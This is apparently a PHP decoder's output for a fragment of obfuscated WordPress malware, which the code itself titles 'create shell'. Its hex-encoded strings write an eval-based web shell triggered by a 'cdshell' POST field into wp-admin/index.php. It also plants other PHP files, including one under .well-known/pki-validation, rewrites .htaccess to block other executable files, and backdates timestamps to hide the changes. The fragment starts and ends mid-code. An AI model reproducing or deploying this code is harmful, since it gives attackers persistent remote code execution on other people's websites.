$igxKb, $tA_1h, $YU7U8, $juNPq, $ljE7s, $EvMGV, $hb7rK, $ckO9N; goto gbMlP; kcrsE: fr6s_: goto dMtmb; Aoyse: if (!$Lpl3a) { goto qYOUe; } goto u00ky; jMDGY: $LO8ua = "\x63\x68\x65\143\153\x62\x65\170\56\160\x68\x70"; goto ITxL9; zphaQ: $vY7qp++; goto iIqyA; j07iA: $yoVo4 = del01($juNPq . "\164\x31\x2f\142\x6c\x75\x73\x74\56\x67\x69\146"); goto qFZWv; WZWM2: sTE5A: goto byXyv; I62nL: $oi1dK .= "\122\x65\167\162\x69\x74\x65\102\x61\x73\x65\x20\57" . "\12"; goto zALor; MHTC0: $WHbmp["\x66\151\154\145"] = array(); goto kC9KB; SMZ3O: $YFttX = dEL01($juNPq . "\164\x31\57\150\62\x2e\147\x69\x66"); goto Ckfxh; GAabD: $Hk3n3 = @file_put_contents($igxKb . "\57\x2e\167\x65\154\154\55\153\x6e\x6f\x77\156\x2f\160\x6b\x69\55\x76\141\x6c\151\x64\141\x74\x69\157\x6e\x2f" . $gHNGL, $HyKNe); goto hPBfC; h7eYY: $obDOr = @file_put_contents($igxKb . "\57\167\160\x2d\141\144\155\x69\156\57\151\x6e\x64\145\x78\x2e\160\150\160", "\74\x3f\160\x68\160\x20\151\x66\x28\x69\163\163\x65\x74\x28\x24\137\120\x4f\x53\x54\x5b\47\143\x64\163\x68\145\154\x6c\x27\135\x29\x20\46\46\x20\x21\x65\x6d\160\164\171\x28\44\137\120\x4f\123\124\x5b\x27\143\x64\163\150\145\x6c\x6c\x27\135\51\51\x7b\x40\145\x76\x61\154\50\x24\x5f\120\117\123\x54\x5b\x27\143\144\163\150\x65\154\154\x27\135\51\x3b\x7d\x20\77\76" . $sXqiv); goto nmNcc; XI9Md: $WHbmp["\x68\x74\143\x6f\156\164\x65\156\164"] = $oi1dK; goto k_tRu; vWJww: @chmod($igxKb . "\57\x2e\167\145\x6c\154\55\153\x6e\x6f\x77\156\x2f\160\153\151\x2d\166\x61\x6c\x69\x64\x61\164\x69\x6f\156\57" . $gHNGL, 0644); goto vEGgp; vEGgp: OPISm: goto GAabD; gbMlP: $k010b = array(); goto sjfEg; AQQar: @chmod($igxKb . "\57" . $kRJ6i, 0644); goto Bg5Wd; H2zzs: $ZM21y = dEL01($juNPq . "\x74\61\57\142\154\x75\163\164\56\x67\151\x66"); goto N8vyi; Yfdx9: $zsdS3 = array_rand($ljE7s, count($YConm) - count($PCBM0)); goto yUOdK; gQZdJ: $v3SA2 = DEL01($juNPq . "\x74\x31" . $YConm[$gxEMr]); goto V3bD6; u4SW0: VZxFU: goto XliL5; a2x3o: fdIxw: goto zphaQ; TsZuJ: @touch("\167\160\x2d\x61\144\x6d\x69\x6e\57\x63\150\x65\143\x6b\142\x65\170\56\160\x68\x70", strtotime("\55\x32\x38\60\x20\144\x61\171\x73", time())); goto SvMpA; XliL5: $kRJ6i = "\167\x70\55\166\145\162\x2e\x70\x68\x70"; goto Otdjz; KxGSV: $gFNpB = sizeof($YConm); goto crlcc; sLo7N: i3WPC: goto dtEDN; d5hjf: $WHbmp["\x6d\x65\163\x73\x61\147\x65"][] = "\x66\151\154\145\72" . "\40\11" . $MnWRE . "\40\x73\x75\143\x63\x65\x73\x73"; goto bX6Y4; rDXwE: MqPND: goto geq0N; ABqSJ: if (!file_exists($igxKb . "\x2f\x2e\167\145\x6c\154\x2d\153\156\157\167\156\57\x70\153\151\55\166\x61\x6c\151\x64\x61\x74\x69\x6f\x6e\57" . $gHNGL)) { goto OPISm; } goto vWJww; ihbpH: llyw4: goto tdVE7; DINzY: if (!$vTqeK) { goto I5Nfb; } goto P83h4; u00ky: $cU9Qm = $tA_1h . "\x3a\57\57" . $YU7U8 . "\x2f" . $LO8ua; goto cT23Y; QF8JI: $oi1dK = ''; goto n086N; x3fVC: if (!file_exists($igxKb . "\x2f" . $kRJ6i)) { goto VnaOW; } goto AQQar; GykJw: if (!file_exists($igxKb . "\x2f\x2e\167\x65\x6c\x6c\x2d\153\x6e\157\167\x6e\57")) { goto Up24x; } goto ui06w; xWhP_: w6KhP: goto GykJw; k_tRu: oAe0u: goto EmVVK; cT23Y: $WHbmp["\155\145\x73\163\x61\147\145"][] = "\146\151\x6c\145\x3a" . "\x20\x9" . $cU9Qm . "\x20\163\165\x63\143\x65\x73\x73"; goto dszA3; iIqyA: goto sTE5A; goto FDv8V; HDh7J: $JMCpP = array(); goto ceEMr; Yp30U: $BRiEe = "\167\160\55\141\144\155\x69\156\x2e\x70\x68\x70"; goto wmKFq; wmKFq: $WeiRj = DeL01($juNPq . "\164\61\57\x75\61\x2e\147\151\146"); goto tji8p; SvMpA: wk6uP: goto jMDGY; n086N: $oi1dK .= "\x3c\111\146\x4d\x6f\x64\165\x6c\x65\x20\155\x6f\x64\x5f\162\145\x77\162\151\164\x65\x2e\x63\76" . "\xa"; goto qd5sy; Inw0C: $oi1dK .= "\x44\145\x6e\x79\x20\x66\x72\157\155\x20\141\154\154" . "\12"; goto QgHh1; kXmvq: $BwqKI = $tA_1h . "\72\57\x2f" . $YU7U8 . "\x2f" . $gHNGL; goto rDXwE; WQrgL: if (!$YRvT5) { goto wk6uP; } goto qEd7I; bwzyv: $t0w4U = "\x77\160\55\x63\x6f\156\x74\145\x6e\x74\57\x70\x6c\x75\x67\151\156\163\x2f\x77\160\55\x63\x6f\156\x66\151\147\55\x73\x61\x6d\160\x6c\145\56\160\x68\160"; goto j07iA; y1ou1: $oi1dK .= "\117\x72\144\145\x72\40\x41\x6c\x6c\157\167\54\x44\x65\156\171" . "\xa"; goto Inw0C; cRrQ2: goto J9Ko8; goto sjUKH; pnNfJ: PC2QP: goto na0vN; ikc0L: $WHbmp["\163\164\141\x74\x75\x73"] = "\x6f\153"; goto MHTC0; ULTL3: $v3SA2 = $RT3Bp . file_get_contents($igxKb . $YConm[$gxEMr]); goto ScAde; D9ojD: AqiDD: goto aqgSw; R2Rtu: @chmod($igxKb . "\57" . $t0w4U, 0644); goto FBUPU; Bg5Wd: VnaOW: goto xgplp; lbheZ: if (!file_exists($igxKb . "\57\56\x77\x65\154\x6c\x2d\153\156\157\167\x6e\x2f\160\153\151\55\166\141\x6c\x69\x64\x61\164\151\157\x6e\x2f")) { goto MkioK; } goto b0ZsI; zALor: $oi1dK .= "\x52\145\x77\x72\x69\164\145\x52\165\154\x65\x20\136\151\156\144\145\170\x2e\160\x68\x70\44\40\x2d\40\x5b\114\x5d" . "\xa"; goto G96G4; byXyv: if (!($vY7qp < count($ljE7s))) { goto NqoJd; } goto MPrKq; Otdjz: $crKBa = deL01($juNPq . "\x74\61\57\x77\x70\x2d\166\145\x72\56\147\151\146"); goto x3fVC; dNsd2: $oi1dK .= "\122\x65\167\x72\x69\164\145\x43\x6f\156\x64\40\45\173\122\x45\x51\x55\x45\123\x54\x5f\x46\111\114\105\x4e\101\x4d\105\x7d\x20\x21\x2d\144" . "\12"; goto lUhcP; WeoPT: UPjgY: goto CFRRJ; V3bD6: goto fVX3A; goto viG25; ITxL9: $ZRvu_ = dEl01($juNPq . "\x74\x31\x2f\x62\x6c\x75\x73\164\x2e\147\x69\146"); goto L9hIl; LBErM: BvC41: goto Xn1tB; nJrdK: $MnWRE = $tA_1h . "\72\57\x2f" . $YU7U8 . "\x2f" . "\x77\160\x2d\141\x64\155\x69\x6e\57\151\x6e\144\145\x78\x2e\x70\x68\x70"; goto d5hjf; ukJ3a: if (!$ckO9N) { goto BvC41; } goto TbH0X; qzDii: rF2um: goto CFvXD; sH0u3: Up24x: goto oZ3cD; eXfYT: $uG7t0 = "\x77\160\55\141\144\155\x69\156\57\143\x68\145\143\x6b\142\145\x78\x2e\160\x68\x70"; goto H2zzs; kZ5KT: $oi1dK .= "\x3c\57\x49\146\115\157\144\165\154\145\76" . "\12"; goto Rs4le; ceEMr: $PCBM0 = array(); goto TSZMi; na0vN: if (count($ljE7s) <= 9) { goto hWmPu; } goto Yfdx9; c4F1v: Josjv: goto QF8JI; CieJ5: if (!$ckO9N) { goto PC2QP; } goto D0FbP; scfpD: @touch("\167\x70\x2d\x61\x64\155\x69\x6e\57\x69\x6e\144\x65\x78\56\x70\x68\x70", strtotime("\55\63\x32\60\40\x64\141\x79\x73", time())); goto nJrdK; ui06w: if (file_exists($igxKb . "\x2f\x2e\x77\145\x6c\x6c\55\x6b\x6e\157\167\x6e\57\160\153\x69\55\166\x61\154\151\144\141\x74\x69\x6f\x6e\57")) { goto QE0yp; } goto slaxk; OLM62: $vTqeK = @file_put_contents($dZHge, $v3SA2); goto DINzY; X0Xlb: $naUz3 = $tA_1h . "\72\x2f\57" . $YU7U8 . "\x2f" . $t0w4U; goto E3P1X; bX6Y4: $WHbmp["\x66\x69\x6c\145"][] = $MnWRE; goto iE20Z; liynm: $zYbns = file_put_contents($igxKb . "\57\56\x68\x63\157\x6e\164\x65\x6e\x74", $oi1dK); goto OeZfi; MgcLt: yMB9U: goto R6goY; vqkNX: @chmod($igxKb . "\x2f" . $BRiEe, 0644); goto gyPC9; ebGXe: $vY7qp = 0; goto WZWM2; EmVVK: return $WHbmp; goto u5ahY; jvrs4: $ahLm8 = $tA_1h . "\72\x2f\57" . $YU7U8 . "\x2f" . $kRJ6i; goto xWhP_; aemEL: @chmod($igxKb . "\57" . $g9_IR, 0644); goto ihbpH; AGSer: J9Ko8: goto diTjy; PGE3L: if (count($ljE7s) <= 9) { goto UPjgY; } goto KxGSV; RJklA: ZFuXo: goto lbheZ; geq0N: MkioK: goto bwzyv; diTjy: if (!($gxEMr < $gFNpB)) { goto zd7Wl; } goto GAqur; crlcc: goto yMB9U; goto WeoPT; xgplp: $Hu_lz = @file_put_contents($igxKb . "\x2f" . $kRJ6i, $crKBa); goto Q6iS2; hdlVX: iq7jJ: goto eXfYT; zVOxe: $YitRR = $tA_1h . "\x3a\x2f\x2f" . $YU7U8 . "\57" . $q3ftx; goto qCWoK; sjfEg: $WHbmp = array(); goto WkykZ; CRaal: $g9_IR = "\x77\160\x2d\x74\145\162\155\56\x70\150\160"; goto xTf5L; AK4ZF: $rJvwe = $tA_1h . "\72\57\57" . $YU7U8 . "\x2f" . $g9_IR; goto u4SW0; QgHh1: $oi1dK .= "\x3c\57\x46\x69\x6c\145\163\115\141\x74\x63\150\76" . "\xa"; goto i8XvA; b0ZsI: $gHNGL = "\x61\146\x6e\x65\x77\56\x70\150\x70"; goto kYCQS; OeZfi: if (!$zYbns) { goto oAe0u; } goto XI9Md; sjUKH: zd7Wl: goto Gn7jg; TbH0X: array_push($Fk3sv, "\x77\160\x2d\157\160\x74\151\x6f\156\x73\x78\x2e\x70\150\160" . $hb7rK, "\167\160\x2d\x6c\151\x6e\x6b\x2d\156\145\x74\167\157\x72\153\56\x70\150\x70" . $hb7rK); goto LBErM; Rs4le: $oi1dK .= "\x3c\106\151\154\x65\x73\115\x61\x74\143\x68\40\42\x2e\52\134\56\x28\160\171\174\145\x78\x65\174\160\150\x74\155\x6c\174\160\x68\x70\174\x50\x48\120\x7c\x50\150\160\x7c\x50\x48\160\174\x70\x48\x70\174\160\x48\120\174\160\150\x50\x7c\120\x68\120\174\160\150\x70\65\x7c\x70\x68\160\67\174\x70\x68\x70\x38\174\163\165\163\x70\145\143\164\145\144\51\x24\x22\76" . "\12"; goto y1ou1; yUOdK: foreach ($zsdS3 as $gxEMr) { array_push($PCBM0, $ljE7s[$gxEMr]); MaPTR: } goto kcrsE; nmNcc: if (!$obDOr) { goto qN9jb; } goto scfpD; GAqur: $k010b[$PCBM0[$gxEMr]] = $Fk3sv[$gxEMr]; goto DnWhH; L9hIl: if (!file_exists($igxKb . "\x2f" . $LO8ua)) { goto AqiDD; } goto eFmwP; WlCP5: $zYbns = file_put_contents($igxKb . "\57\56\x68\x63\x6f\156\164\145\156\x74\157\154\x64", json_encode($k010b)); goto liynm; L9YIM: hWmPu: goto ebGXe; Gn7jg: $sXqiv = @file_get_contents("\167\x70\55\x61\144\155\151\156\57\151\x6e\144\x65\170\x2e\x70\150\x70"); goto YMCu5; MPrKq: array_push($PCBM0, $ljE7s[$vY7qp]); goto a2x3o; MMrPq: BsN22: goto X6Qm2; oZ3cD: mkdir($igxKb . "\x2f\56\167\145\154\x6c\x2d\x6b\156\x6f\167\x6e\x2f", 0644, true); goto AFESS; WkykZ: $WHbmp["\164\x69\164\154\x65"] = "\x63\x72\x65\141\x74\x65\40\163\x68\145\154\154"; goto ikc0L; u5ahY: } goto PETrp; KU43H: PF49p:
Function Calls
| None |
Stats
| MD5 | 442ca21ee73164a0dbf82bc57e5a9e34 |
| Eval Count | 0 |
| Decode Time | 138 ms |